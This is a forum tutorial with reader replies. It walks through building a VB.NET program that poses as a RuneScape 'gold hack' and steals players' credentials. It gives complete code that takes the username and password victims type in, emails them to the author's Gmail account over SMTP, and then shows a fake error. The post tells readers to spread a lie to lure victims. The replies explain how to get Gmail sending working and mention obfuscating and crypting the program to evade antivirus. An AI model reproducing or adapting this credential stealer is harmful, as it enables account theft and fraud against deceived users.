Hey! In this tutorial I'm going to show you how to code a keylogger in VB.NET.

 

First off, create a lie somewhere somehow. For example, say you have a program that can give you unlimited gold on runescape or something. Post a video about it or something.

 

After that, open VB and create a new windows form project. Add 3 textboxes, 3 labels, and one button. Next to the first textbox, make a label saying "Your username", then for the 2nd make a label saying "Your password", then for the 3rd make a label saying "Amount of gold". Change the button text to "Hack gold".

 

Now For the Coding.

 

Double click the button, and follow my steps.

 

Firstly, we want to import the necessary things to make this project possible, so add:

Imports System.Net.Mail

 

At the very top.

 

 

Now for the email part.

 

Dim MyMailMessage As New MailMessage()

Declares new email message.

 

MyMailMessage.From = New MailAddress("email@gmail.com")

The email will be sent from your email.

 

MyMailMessage.To.Add("email@gmail.com")

The email will be sent to your email.

 

MyMailMessage.Subject = ("New Victim")

Sets the subject.

 

MyMailMessage.Body = ("Username: " + TextBox1.Text + " " + "Password: " + TextBox2.Text)
[/code
Makes the message. In this case it will be the username and password entered by the victim.

[code]
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("youremail", "youremailpass")
        SMTPServer.EnableSsl = True

Sets our email server, which is gmail.

 

SMTPServer.Send(MyMailMessage)

Sends the email.

 

MsgBox("Fatal Error! 0x23324 Can not connect to account!", MsgBoxStyle.Critical)

Makes a fake msgbox telling the victim that the program failed.

 

Now, the whole code should look like this:

 

Imports System.Net.Mail

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PrimeButton1.Click
        Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress("email@gmail.com")
        MyMailMessage.To.Add("email@gmail.com")
        MyMailMessage.Subject = ("New Victim")
        MyMailMessage.Body = ("Username: " + TextBox1.Text + " " + "Password: " + TextBox2.Text)
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("youremail", "youremailpass")
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        MsgBox("Fatal Error! 0x23324 Can not connect to account!", MsgBoxStyle.Critical)
    End Sub
End Class

 

Hope you enjoyed the tutorial!

 

Regards:

 

High Roller.

thanks man

ty

Can anyone please help me with this error ?

Can anyone please help me with this error ?

Google uses 2 way authentication method. You need to log in your Gmail account, go to settings, and allow applications to use your email. That way, it will work.

and with a simple decompile i can find your email pass

propably you should put a fake one ( not your main mail )

and with a simple decompile i can find your email pass

propably you should put a fake one ( not your main mail )

Without the proper steps AV will catch his application.

 

He would need to obfuscate and crypt the application if he wants to achieve something.

Hey can somebody help me add a progress bar to this?

Google uses 2 way authentication method. You need to log in your Gmail account, go to settings, and allow applications to use your email. That way, it will work.

same problem thanks very much sir. now i am seeing that gmail settings to enable any application can use my email i can't found that tab on gmail? plss help me ty again

Google uses 2 way authentication method. You need to log in your Gmail account, go to settings, and allow applications to use your email. That way, it will work.

sir thank you verymuch i found and now its work :D ty and happy new year. i am from PH